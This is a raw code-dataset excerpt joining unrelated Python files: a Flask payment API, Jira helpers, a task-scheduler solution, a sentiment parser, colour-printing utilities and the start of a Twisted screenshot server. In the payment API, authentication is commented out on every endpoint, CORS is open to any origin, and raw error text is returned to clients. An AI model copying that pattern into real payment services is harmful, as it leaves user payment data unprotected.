fields.Nested(payment_info_schema),\n 'businessInfo': fields.Nested(business_info_schema),\n 'filingInfo': fields.Nested(filing_info_schema)\n})\n\n\n@payment_api.errorhandler(AuthError)\ndef handle_auth_error(ex):\n response = jsonify(ex.error)\n response.status_code = ex.status_code\n return response\n\n\n@cors_preflight('GET, POST')\n@payment_api.route('/', strict_slashes=False, methods=['POST', 'OPTIONS'])\n@payment_api.doc(params={\n})\nclass Payments(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.expect(payment_request_schema)\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n 'nr_num': 'Name Request number'\n })\n def post(nr_num):\n try:\n # TODO: Validate NR string format\n # if not RequestDAO.validNRFormat(nr_num):\n # return jsonify(message='NR number is not in a valid format \\'NR 9999999\\''), 400\n\n nr_draft = RequestDAO.find_by_nr(nr_num)\n if not nr_draft:\n # Should this be a 400 or 404... hmmm\n return jsonify(message='{nr_num} not found'.format(nr_num=nr_num)), 400\n\n json_input = request.get_json()\n if not json_input:\n return jsonify(message=MSG_BAD_REQUEST_NO_JSON_BODY), 400\n elif isinstance(json_input, str):\n json_input = json.loads(json_input)\n\n # Grab the info we need off the request\n payment_info = json_input.get('paymentInfo')\n filing_info = json_input.get('filingInfo')\n business_info = json_input.get('businessInfo')\n\n # Create our payment request\n req = PaymentRequest(\n payment_info=payment_info,\n filing_info=filing_info,\n business_info=business_info\n )\n\n payment_response = create_payment(req)\n if not payment_response:\n raise PaymentServiceError(message=MSG_ERROR_CREATING_RESOURCE)\n\n if payment_response and payment_response.status_code == PaymentStatusCode.CREATED.value:\n # Save the payment info to Postgres\n payment = PaymentDAO()\n payment.nrId = nr_draft.id\n payment.payment_token = str(payment_response.id)\n payment.payment_completion_date = payment_response.created_on\n payment.payment_status_code = PaymentState.CREATED.value\n payment.save_to_db()\n\n data = jsonify(payment_response.to_dict())\n response = make_response(data, 200)\n return response\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n@cors_preflight('GET, PUT')\n@payment_api.route('/', strict_slashes=False, methods=['GET', 'PUT', 'OPTIONS'])\n@payment_api.doc(params={\n 'payment_identifier': ''\n})\nclass Payment(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with(payment_response_schema)\n def get(payment_identifier):\n try:\n payment_identifier = clean_url_path_param(payment_identifier)\n\n payment = get_payment(payment_identifier)\n\n if not payment:\n return jsonify(message=MSG_NOT_FOUND), 404\n\n data = jsonify(payment.to_dict())\n response = make_response(data, 200)\n return response\n\n except Exception as err:\n return jsonify(message=MSG_SERVER_ERROR + ' ' + str(err)), 500\n\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.expect(payment_request_schema)\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n def put(payment_identifier):\n try:\n payment_identifier = clean_url_path_param(payment_identifier)\n\n json_input = request.get_json()\n if not json_input:\n return jsonify(message=MSG_BAD_REQUEST_NO_JSON_BODY), 400\n\n # Grab the info we need off the request\n payment_info = json_input.get('paymentInfo')\n filing_info = json_input.get('filingInfo')\n business_info = json_input.get('businessInfo')\n\n # Update our payment request\n req = PaymentRequest(\n payment_info=payment_info,\n filing_info=filing_info,\n business_info=business_info\n )\n\n payment_response = update_payment(payment_identifier, req)\n if not payment_response:\n raise PaymentServiceError(message=MSG_ERROR_CREATING_RESOURCE)\n\n data = jsonify(payment_response.to_dict())\n response = make_response(data, 200)\n return response\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n@cors_preflight('POST')\n@payment_api.route('/fees', strict_slashes=False, methods=['POST', 'OPTIONS'])\nclass PaymentFees(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.expect(calculate_fees_request_schema)\n @payment_api.response(200, 'Success')\n @payment_api.response(400, 'Bad Request')\n @payment_api.response(500, 'Internal Server Error')\n # @marshal_with()\n @payment_api.doc(params={\n })\n def post():\n try:\n json_input = request.get_json()\n if not json_input:\n return jsonify(message=MSG_BAD_REQUEST_NO_JSON_BODY), 400\n \n corp_type = json_input.get('corp_type')\n filing_type_code = json_input.get('filing_type_code')\n jurisdiction = json_input.get('jurisdiction', None)\n date = json_input.get('date', None)\n priority = json_input.get('priority', None)\n\n # Params are snake_case for this POST\n # Response data is also snake_case\n req = CalculateFeesRequest(\n corp_type=corp_type,\n filing_type_code=filing_type_code,\n jurisdiction=jurisdiction,\n date=date,\n priority=priority\n )\n\n fees = calculate_fees(req)\n if not fees:\n raise SBCPaymentError(message=MSG_ERROR_CREATING_RESOURCE)\n\n data = jsonify(fees.to_dict())\n response = make_response(data, 200)\n return response\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n@cors_preflight('GET')\n@payment_api.route('//invoices', strict_slashes=False, methods=['GET', 'OPTIONS'])\n@payment_api.doc(params={\n 'payment_identifier': ''\n})\nclass PaymentInvoices(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n })\n def get(payment_identifier):\n try:\n payment_identifier = clean_url_path_param(payment_identifier)\n\n invoices = get_invoices(payment_identifier)\n\n if not invoices:\n return jsonify(message=MSG_NOT_FOUND), 404\n\n data = jsonify(invoices.to_dict())\n response = make_response(data, 200)\n return response\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n@cors_preflight('GET')\n@payment_api.route('//invoice/', strict_slashes=False, methods=['GET', 'OPTIONS'])\n@payment_api.doc(params={\n 'payment_identifier': ''\n})\nclass PaymentInvoice(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n 'invoice_id': '[required]'\n })\n def get(payment_identifier, invoice_id):\n try:\n payment_identifier = clean_url_path_param(payment_identifier)\n invoice_id = invoice_id if invoice_id else None\n\n invoice = get_invoice(payment_identifier, invoice_id)\n\n if not invoice:\n return jsonify(message=MSG_NOT_FOUND), 404\n\n data = jsonify(invoice.to_dict())\n response = make_response(data, 200)\n return response\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n@cors_preflight('GET')\n# @payment_api.route('//receipt/', strict_slashes=False, methods=['POST', 'OPTIONS'])\n@payment_api.route('//receipt', strict_slashes=False, methods=['POST', 'OPTIONS'])\n@payment_api.doc(params={\n 'payment_identifier': '',\n # 'invoice_id': '[required]'\n})\nclass PaymentReceipt(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n # def post(payment_identifier, invoice_id):\n def post(payment_identifier):\n try:\n payment_identifier = clean_url_path_param(payment_identifier)\n\n json_input = request.get_json()\n if not json_input:\n return jsonify(message=MSG_BAD_REQUEST_NO_JSON_BODY), 400\n\n corp_name = json_input.get('corpName', None)\n business_number = json_input.get('businessNumber', None)\n recognition_date_time = json_input.get('recognitionDateTime', None)\n filing_identifier = json_input.get('filingIdentifier', None)\n filing_date_time = json_input.get('filingDateTime', None)\n file_name = json_input.get('fileName', None)\n\n req = PaymentReceiptInput(\n corp_name=corp_name,\n business_number=business_number,\n recognition_date_time=recognition_date_time,\n filing_identifier=filing_identifier,\n filing_date_time=filing_date_time,\n file_name=file_name\n )\n\n receipt = get_receipt(payment_identifier, req)\n\n if not receipt:\n return jsonify(message=MSG_NOT_FOUND), 404\n\n return send_file(receipt, mimetype='application/pdf', as_attachment=True)\n\n except PaymentServiceError as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentException as err:\n return handle_exception(err, err.message, 500)\n except SBCPaymentError as err:\n return handle_exception(err, err.message, 500)\n except Exception as err:\n return handle_exception(err, err, 500)\n\n\n\"\"\"\n@cors_preflight('GET')\n@payment_api.route('//transactions', strict_slashes=False, methods=['GET', 'OPTIONS'])\n@payment_api.doc(params={\n 'payment_identifier': ''\n})\nclass PaymentTransactions(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n def get(payment_identifier):\n payment_identifier = clean_url_path_param(payment_identifier)\n\n req = GetTransactionsRequest(\n payment_identifier=payment_identifier\n )\n\n transactions = get_transactions(req)\n\n if not transactions:\n return\n\n data = jsonify(transactions.to_dict())\n response = make_response(data, 200)\n return response\n\n\n@cors_preflight('GET, POST, PUT')\n@payment_api.route('//transaction', strict_slashes=False, methods=['GET', 'POST', 'PUT', 'OPTIONS'])\nclass PaymentTransaction(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n 'receipt_number': '',\n 'transaction_identifier': ''\n })\n def get(payment_identifier):\n payment_identifier = clean_url_path_param(payment_identifier)\n receipt_number = unquote_plus(request.args.get('receipt_number').strip()) if request.args.get('receipt_number') else None\n transaction_identifier = unquote_plus(request.args.get('transaction_identifier').strip()) if request.args.get('transaction_identifier') else None\n\n req = GetTransactionRequest(\n payment_identifier=payment_identifier,\n receipt_number=receipt_number,\n transaction_identifier=transaction_identifier\n )\n\n transaction = get_transaction(req)\n\n if not transaction:\n return\n\n data = jsonify(transaction.to_dict())\n response = make_response(data, 200)\n return response\n\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n # @payment_api.expect()\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n 'redirect_uri': ''\n })\n def post(payment_identifier):\n payment_identifier = clean_url_path_param(payment_identifier)\n redirect_uri = unquote_plus(request.args.get('redirect_uri').strip()) if request.args.get('redirect_uri') else None\n\n req = CreateTransactionRequest(\n payment_identifier=payment_identifier,\n redirect_uri=redirect_uri\n )\n\n transaction = create_transaction(req)\n\n data = jsonify(transaction.to_dict())\n response = make_response(data, 200)\n return response\n\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n # @payment_api.expect()\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n 'receipt_number': '',\n 'transaction_identifier': ''\n })\n def put(payment_identifier):\n payment_identifier = clean_url_path_param(payment_identifier)\n\n json_input = request.get_json()\n if not json_input:\n return jsonify(message=MSG_BAD_REQUEST_NO_JSON_BODY), 400\n\n receipt_number = json_input.get('receipt_number', None)\n transaction_identifier = json_input.get('transaction_identifier', None)\n\n req = UpdateTransactionRequest(\n payment_identifier=payment_identifier,\n receipt_number=receipt_number,\n transaction_identifier=transaction_identifier\n )\n\n transaction = update_transaction(req)\n\n data = jsonify(transaction.to_dict())\n response = make_response(data, 200)\n return response\n\"\"\"\n\n\n@cors_preflight('DELETE')\n@payment_api.route('/extra', strict_slashes=False, methods=['DELETE', 'OPTIONS'])\nclass Extra(Resource):\n @staticmethod\n @cors.crossdomain(origin='*')\n # @jwt.requires_auth\n # @payment_api.expect()\n @payment_api.response(200, 'Success', '')\n # @marshal_with()\n @payment_api.doc(params={\n '': ''\n })\n def delete():\n pass\n\n\n","sub_path":"api/namex/resources/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":20572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"507464875","text":"\"\"\"\nJira manipulations.\n\"\"\"\n\nfrom typing import Any, Dict, List, Optional\n\nimport requests\n\nfrom openedx_webhooks.oauth import get_jira_session\nfrom openedx_webhooks.tasks import logger\nfrom openedx_webhooks.utils import (\n get_jira_custom_fields,\n log_check_response,\n sentry_extra_context,\n)\n\ndef delete_jira_issue(issue_key):\n \"\"\"\n Delete an issue from Jira.\n \"\"\"\n resp = get_jira_session().delete(f\"/rest/api/2/issue/{issue_key}\")\n log_check_response(resp)\n\n\ndef transition_jira_issue(issue_key, status_name):\n \"\"\"\n Transition a Jira issue to a new status.\n\n Returns:\n True if the issue was changed.\n\n \"\"\"\n assert status_name is not None\n transition_url = (\n \"/rest/api/2/issue/{key}/transitions\"\n \"?expand=transitions.fields\".format(key=issue_key)\n )\n transitions_resp = get_jira_session().get(transition_url)\n log_check_response(transitions_resp, raise_for_status=False)\n if transitions_resp.status_code == requests.codes.not_found:\n # JIRA issue has been deleted\n logger.info(f\"Issue {issue_key} doesn't exist\")\n return False\n transitions_resp.raise_for_status()\n\n transitions = transitions_resp.json()[\"transitions\"]\n sentry_extra_context({\"transitions\": transitions})\n\n transition_id = None\n for t in transitions:\n if t[\"to\"][\"name\"] == status_name:\n transition_id = t[\"id\"]\n break\n\n if not transition_id:\n # maybe the issue is *already* in the right status?\n issue_url = \"/rest/api/2/issue/{key}\".format(key=issue_key)\n issue_resp = get_jira_session().get(issue_url)\n issue_resp.raise_for_status()\n issue = issue_resp.json()\n sentry_extra_context({\"jira_issue\": issue})\n current_status = issue[\"fields\"][\"status\"][\"name\"]\n if current_status == status_name:\n logger.info(f\"Issue {issue_key} is already in status {status_name}\")\n return False\n\n # nope, raise an error message\n fail_msg = (\n \"Issue {key} cannot be transitioned directly from status {curr_status} \"\n \"to status {new_status}. Valid status transitions are: {valid}\".format(\n key=issue_key,\n new_status=status_name,\n curr_status=current_status,\n valid=\", \".join(t[\"to\"][\"name\"] for t in transitions),\n )\n )\n logger.error(fail_msg)\n raise Exception(fail_msg)\n\n logger.info(f\"Changing status on issue {issue_key} to {status_name}\")\n transition_resp = get_jira_session().post(transition_url, json={\n \"transition\": {\n \"id\": transition_id,\n }\n })\n log_check_response(transition_resp)\n return True\n\n\ndef update_jira_issue(\n issue_key: str,\n summary: Optional[str]=None,\n description: Optional[str]=None,\n labels: Optional[List[str]]=None,\n epic_link: Optional[str]=None,\n extra_fields: Optional[Dict[str, str]]=None,\n ):\n \"\"\"\n Update some fields on a Jira issue.\n \"\"\"\n fields: Dict[str, Any] = {}\n notify = \"false\"\n custom_fields = get_jira_custom_fields(get_jira_session())\n if summary is not None:\n fields[\"summary\"] = summary\n notify = \"true\"\n if description is not None:\n fields[\"description\"] = description\n notify = \"true\"\n if labels is not None:\n fields[\"labels\"] = labels\n if epic_link is not None:\n fields[custom_fields[\"Epic Link\"]] = epic_link\n if extra_fields is not None:\n for name, value in extra_fields.items():\n fields[custom_fields[name]] = value\n assert fields\n # Note: notifyUsers=false only works if the bot is an admin in the project.\n # Contrary to the docs, if the bot is not an admin, the setting isn't ignored,\n # the request fails.\n url = f\"/rest/api/2/issue/{issue_key}?notifyUsers={notify}\"\n resp = get_jira_session().put(url, json={\"fields\": fields})\n log_check_response(resp)\n","sub_path":"openedx_webhooks/tasks/jira_work.py","file_name":"jira_work.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"303275411","text":"\"\"\"\nDescription:\nGiven a char array representing tasks CPU need to do.\nIt contains capital letters A to Z where different letters represent different tasks.\nTasks could be done without original order. Each task could be done in one interval.\nFor each interval, CPU could finish one task or just be idle.\n\nHowever, there is a non-negative cooling interval n that means between two same tasks,\nthere must be at least n intervals that CPU are doing different tasks or just be idle.\n\nYou need to return the least number of intervals the CPU will take to finish all the given tasks.\n\nThink:\n1. Count the times of each task\n2. Find the most frequent tasks occur task_max times\n3. There are max_count tasks have the same task_max times\n4. The schedule length would be (task_max - 1) * (n + 1) + max_count)\n\"\"\"\nimport collections\n\n\nclass Solution:\n def leastInterval(self, tasks, n):\n \"\"\"\n :type tasks: List[str]\n :type n: int\n :rtype: int\n \"\"\"\n task_cnt = collections.Counter(tasks).values()\n task_max = max(task_cnt)\n max_count = 0\n for i in task_cnt:\n if i == task_max:\n max_count += 1\n return max(len(tasks), (task_max - 1) * (n + 1) + max_count)\n\n\nif __name__ == '__main__':\n sol = Solution()\n assert sol.leastInterval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"], 2) == 8\n\n\n","sub_path":"621_TaskScheduler.py","file_name":"621_TaskScheduler.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"145407826","text":"\"\"\"\r\nProgram to provide generic parsing for all files in user-specified directory.\r\nThe program assumes the input files have been scrubbed,\r\n i.e., HTML, ASCII-encoded binary, and any other embedded document structures that are not\r\n intended to be analyzed have been deleted from the file.\r\n\r\nDependencies:\r\n Python: Load_MasterDictionary.py\r\n Data: LoughranMcDonald_MasterDictionary_XXXX.csv\r\n\r\nThe program outputs:\r\n 1. File name\r\n 2. File size (in bytes)\r\n 3. Number of words (based on LM_MasterDictionary)\r\n 4. Proportion of positive words (use with care - see LM, JAR 2016)\r\n 5. Proportion of negative words\r\n 6. Proportion of uncertainty words\r\n 7. Proportion of litigious words\r\n 8. Proportion of modal-weak words\r\n 9. Proportion of modal-moderate words\r\n 10. Proportion of modal-strong words\r\n 11. Proportion of constraining words (see Bodnaruk, Loughran and McDonald, JFQA 2015)\r\n 12. Number of alphanumeric characters (a-z, A-Z)\r\n 13. Number of digits (0-9)\r\n 14. Number of numbers (collections of digits)\r\n 15. Average number of syllables\r\n 16. Average word length\r\n 17. Vocabulary (see Loughran-McDonald, JF, 2015)\r\n\r\n ND-SRAF\r\n McDonald 2016/06 : updated 2018/03\r\n\"\"\"\r\n\r\nimport csv\r\nimport glob\r\nimport re\r\nimport string\r\nimport sys\r\nimport time\r\nimport os\r\n# sys.path.append('D:\\GD\\Python\\TextualAnalysis\\Modules') # Modify to identify path for custom modules\r\n# import Load_MasterDictionary as LM\r\n\r\nimport dask\r\nimport functools\r\nfrom dask import compute, delayed\r\n\r\nimport pandas as pd\r\n\r\n# CORE_NUM = int(os.environ['NUMBER_OF_PROCESSORS'])\r\nCORE_NUM = 1\r\n\r\n\r\ndef parLapply(CORE_NUM, iterable, func, *args, **kwargs):\r\n with dask.config.set(scheduler='processes', num_workers=CORE_NUM):\r\n f_par = functools.partial(func, *args, **kwargs)\r\n result = compute([delayed(f_par)(item) for item in iterable])[0]\r\n return result\r\n\r\n# User defined directory for files to be parsed\r\n# TARGET_FILES = r'G:/NLP-P1-Textdata/*.*'\r\n\r\n# User defined file pointer to LM dictionary\r\n# MASTER_DICTIONARY_FILE = r'G:\\NLP-P1-Textdata\\dictionary\\LoughranMcDonald_MasterDictionary_2018.csv'\r\nDICTIONARY_FILE = r'../Data/dictionary/HIV-4.csv'\r\n\r\n# User defined output file\r\n# OUTPUT_FILE = r'G:/NLP-P1-Textdata/Temp/Text-File-Statistics.csv'\r\n\r\n# Setup output, add company name, CONFORMED PERIOD OF REPORT, FILED AS OF DATE, DATE AS OF CHANGE\r\nOUTPUT_FIELDS = ['file name', 'file size', 'company name', 'conformed period of report', 'filed as of date',\r\n 'date as of change', 'number of words', '% positive', '% negative',\r\n '% uncertainty', '% litigious', '% modal-weak', '% modal moderate',\r\n '% modal strong', '% constraining', '# of alphabetic', '# of digits',\r\n '# of numbers', 'avg # of syllables per word', 'average word length', 'vocabulary']\r\n\r\n# load master dictionary, do not return other variables\r\n# lm_dictionary = LM.load_masterdictionary(MASTER_DICTIONARY_FILE, True)\r\ndictionary = pd.read_csv(DICTIONARY_FILE, index_col = 0).T\r\n\r\n\r\n# main function\r\ndef count_sentiment(file_list, OUTPUT_FILE):\r\n \"\"\"\r\n write each statistics for a file as a row in OUTPUT_FILE\r\n :param file_list: a list of text files to be summarized\r\n :return: None\r\n \"\"\"\r\n f_out = open(OUTPUT_FILE, 'w') # create a file in write mode\r\n # see https://www.runoob.com/python/python-func-open.html\r\n wr = csv.writer(f_out, lineterminator='\\n')\r\n wr.writerow(OUTPUT_FIELDS) # head row, note that each row is represented by a list\r\n\r\n # file_list = glob.glob(TARGET_FILES) # see https://blog.csdn.net/huhuandk/article/details/86317026\r\n # text files waiting to parse\r\n\r\n def write_stat(file):\r\n with open(file, 'r', encoding='UTF-8', errors='ignore') as f_in:\r\n doc = f_in.read() # load all content of file specified above, doc: \r\n doc_len = len(doc)\r\n doc = re.sub('(May|MAY)', ' ', doc) # drop all May month references\r\n doc = doc.upper() # for this parse caps aren't informative so shift\r\n\r\n output_data = get_data(doc)\r\n\r\n output_data[0] = file\r\n output_data[1] = doc_len\r\n wr.writerow(output_data)\r\n\r\n for file in file_list: write_stat(file)\r\n\r\n\r\ndef get_data(doc):\r\n\r\n vdictionary = {}\r\n _odata = [0] * 21 # same length as OUTPUT_FIELDS\r\n # total_syllables = 0\r\n word_length = 0\r\n\r\n # company name\r\n try:\r\n start = re.search(\"COMPANY CONFORMED NAME:\", doc, flags=0).span()\r\n end = re.search(\"CENTRAL INDEX KEY:\", doc, flags=0).span()\r\n _odata[2] = doc[start[1] + 1:end[0]].strip()\r\n except:\r\n _odata[2] = None\r\n\r\n # conformed period of report\r\n try:\r\n start = re.search(\"CONFORMED PERIOD OF REPORT:\", doc, flags=0).span()\r\n end = re.search(\"FILED AS OF DATE:\", doc, flags=0).span()\r\n _odata[3] = doc[start[1] + 1:end[0]].strip()\r\n except:\r\n _odata[3] = None\r\n\r\n # filed as of date\r\n start = re.search(\"FILED AS OF DATE:\", doc, flags=0).span()\r\n try:\r\n end = re.search(\"DATE AS OF CHANGE:\", doc, flags=0).span()\r\n except:\r\n end = re.search(\"FILER:\", doc, flags=0).span()\r\n _odata[4] = doc[start[1] + 1:end[0]].strip()\r\n\r\n # date as of change\r\n try:\r\n start = re.search(\"DATE AS OF CHANGE:\", doc, flags=0).span()\r\n end = re.search(\"FILER:\", doc, flags=0).span()\r\n _odata[5] = doc[start[1] + 1:end[0]].strip()\r\n except:\r\n _odata[5] = None\r\n\r\n tokens = re.findall('\\w+', doc) # Note that \\w+ splits hyphenated words\r\n\r\n for token in tokens:\r\n if not token.isdigit() and len(token) > 1 and token in dictionary:\r\n _odata[6] += 1 # word count, the seventh\r\n word_length += len(token)\r\n if token not in vdictionary:\r\n vdictionary[token] = 1\r\n # 3-10 of _odata records sentiment count\r\n # print(dictionary)\r\n # print(dictionary[token])\r\n if dictionary[token].Positiv == 'Positiv': _odata[7] += 1\r\n if dictionary[token].Negativ == 'Negativ': _odata[8] += 1\r\n # if dictionary[token].uncertainty: _odata[9] += 1\r\n # if dictionary[token].litigious: _odata[10] += 1\r\n # if dictionary[token].weak_modal: _odata[11] += 1\r\n # if dictionary[token].moderate_modal: _odata[12] += 1\r\n # if dictionary[token].strong_modal: _odata[13] += 1\r\n # if dictionary[token].constraining: _odata[14] += 1\r\n # total_syllables += dictionary[token].syllables\r\n\r\n _odata[15] = len(re.findall('[A-Z]', doc)) # '# of alphabetic,'\r\n _odata[16] = len(re.findall('[0-9]', doc)) # '# of digits,'\r\n # drop punctuation within numbers for number count\r\n doc = re.sub('(?!=[0-9])(\\.|,)(?=[0-9])', '', doc)\r\n doc = doc.translate(str.maketrans(string.punctuation, \" \" * len(string.punctuation)))\r\n _odata[17] = len(re.findall(r'\\b[-+\\(]?[$€£]?[-+(]?\\d+\\)?\\b', doc)) # '# of numbers,'\r\n # _odata[18] = total_syllables / _odata[6] # 'avg # of syllables per word,'\r\n _odata[19] = word_length / _odata[6] # 'average word length,'\r\n _odata[20] = len(vdictionary) # 'vocabulary'\r\n \r\n # Convert counts to %\r\n for i in range(7, 14 + 1):\r\n _odata[i] = (_odata[i] / _odata[6]) * 100\r\n # Vocabulary\r\n \r\n return _odata\r\n\r\n\r\nif __name__ == '__main__':\r\n # we generate summary data for all text file downloaded, i.e. 2006-2018\r\n # print('\\n' + time.strftime('%c') + '\\nGeneric_Parser.py\\n')\r\n # # construct file list\r\n years = [str(year) for year in range(2010, 2019)]\r\n quaters = ['QTR' + str(i) for i in range(1, 5)]\r\n # root_path = 'G:/NLP-P1-Textdata/'\r\n root_path = '../Data/filtered_textdata/'\r\n #\r\n for year in years:\r\n for quater in quaters:\r\n file_list = os.listdir(root_path+year+'/'+quater)\r\n file_list = [root_path+year+'/'+quater+'/'+file for file in file_list]\r\n OUTPUT_FILE = '../Data/Output-Stat_h/Text-File-Statistics-'+year+'-'+quater+'.csv'\r\n count_sentiment(file_list, OUTPUT_FILE=OUTPUT_FILE)\r\n print(\"END OF QUATER \"+quater)\r\n print(\"END OF YEAR \"+year)\r\n\r\n # year = str(2019)\r\n # quater = 'QTR4'\r\n # file_list = os.listdir(root_path + year + '/' + quater)\r\n # file_list = [root_path+year+'/'+quater+'/'+file for file in file_list]\r\n # # OUTPUT_FILE = 'G:/NLP-P1-Textdata/Output-Stat/Text-File-Statistics-'+year+'-'+quater+'.csv'\r\n # OUTPUT_FILE = '../Data/Output-Stat_h/Text-File-Statistics-'+year+'-'+quater+'.csv'\r\n # count_sentiment(file_list, OUTPUT_FILE=OUTPUT_FILE)\r\n\r\n # print('\\n' + time.strftime('%c') + '\\nNormal termination.')\r\n","sub_path":"NLP PROJECT I/Generic_Parser_hv.py","file_name":"Generic_Parser_hv.py","file_ext":"py","file_size_in_byte":8783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"24978242","text":"from __future__ import absolute_import, print_function\n\nimport base64\nimport sys\n\nPY2 = sys.version_info[0] == 2\n\nif PY2:\n unichr = unichr\n text_type = unicode\n string_types = (str, unicode)\n integer_types = (int, long)\n int_to_byte = chr\n\nelse:\n unichr = chr\n text_type = str\n string_types = (str, )\n integer_types = (int, )\n\n\n# Some helpers for string/byte handling\ndef to_bytes(s, enc='utf8'):\n if s is None:\n return None\n return s.encode(enc) if isinstance(s, text_type) else bytes(s)\n\n\ndef urlsafe_b64decode(b64string):\n bstr = to_bytes(b64string.strip())\n padded = bstr + b'=' * (4 - len(bstr) % 4)\n return base64.urlsafe_b64decode(padded)\n","sub_path":"sentry_auth_google/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"312500039","text":"import sys\nimport json\n\nCOLOR_DICT = {\n \"BLUE\": \"\\033[1;34m\",\n \"CYAN\": \"\\033[1;36m\",\n \"GREEN\": \"\\033[0;32m\",\n \"RESET\": \"\\033[0;0m\",\n \"RED\": \"\\033[1;31m\", \n \"BOLD\": \"\\033[;1m\"\n}\n\nclass HeshDisplay:\n def __init__(self):\n self.palette = COLOR_DICT\n\n\n def printc(self, color, inputStr):\n self.setColor(color)\n print(\"{}\".format(str(inputStr)))\n self.resetColor()\n\n\n def printColorDict(self, color, inputDict: dict):\n self.setColor(color)\n print(json.dumps(inputDict, sort_keys=True, indent=4))\n self.resetColor()\n\n\n def printColorList(self, color, inputList):\n for inputString in inputList:\n self.printc(color, inputString)\n\n\n def printer(self, color, inputVal):\n if type(inputVal) is list:\n self.printColorList(color, inputVal)\n elif type(inputVal) is dict:\n self.printColorDict(color, inputVal)\n else:\n self.printc(color, inputVal)\n\n\n def setColor(self, color='RESET'):\n sys.stdout.write(self.palette[str(color).upper()])\n\n\n def resetColor(self):\n sys.stdout.write(self.palette[\"RESET\"])\n","sub_path":"src/lib/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"575943196","text":"import json\n\nfrom twisted.web.server import Site\nfrom twisted.web.resource import Resource\nfrom twisted.internet.threads import deferToThread\nfrom twisted.web.server import NOT_DONE_YET\nfrom autobahn.twisted.websocket import WebSocketServerFactory, WebSocketServerProtocol\nfrom autobahn.twisted.resource import WebSocketResource\n\nfrom backend import take_screenshot, run_script, screencast\n\n\ndef json_response(data, request):\n j = json.dumps(data)\n request.responseHeaders.addRawHeader(b\"content-type\", b\"application/json\")\n request.responseHeaders.addRawHeader(b\"connection\", b\"close\")\n request.responseHeaders.addRawHeader(b\"content-length\", str(len(j)))\n request.write(j)\n request.finish()\n\n\nclass TakeScreenshot(Resource):\n isLeaf = True\n\n def render_GET(self, request):\n d = deferToThread(take_screenshot)\n d.addCallback(lambda screenshot: json_response({'screenshot': screenshot}, request))\n return NOT_DONE_YET\n\n\nclass Screencast(Resource):\n isLeaf = True\n\n def __init__(self):\n Resource.__init__(self)\n self.screencast_recorder = screencast.ScreencastRecorder()\n self.putChild('/start', startScreencast(self.screencast_recorder))\n self.putChild('/stop', stopScreencast(self.screencast_recorder))\n\n def render_GET(self, request):\n if \"/start\" in request.path:\n self.getStaticEntity('/start').render_GET(request)\n return NOT_DONE_YET\n if \"/stop\" in request.path:\n self.getStaticEntity('/stop').render_GET(request)\n return NOT_DONE_YET\n return\n\n\nclass BaseScreencastCommand(Resource):\n def __init__(self, recorder):\n Resource.__init__(self)\n self.recorder = recorder\n\n\nclass startScreencast(BaseScreencastCommand):\n def 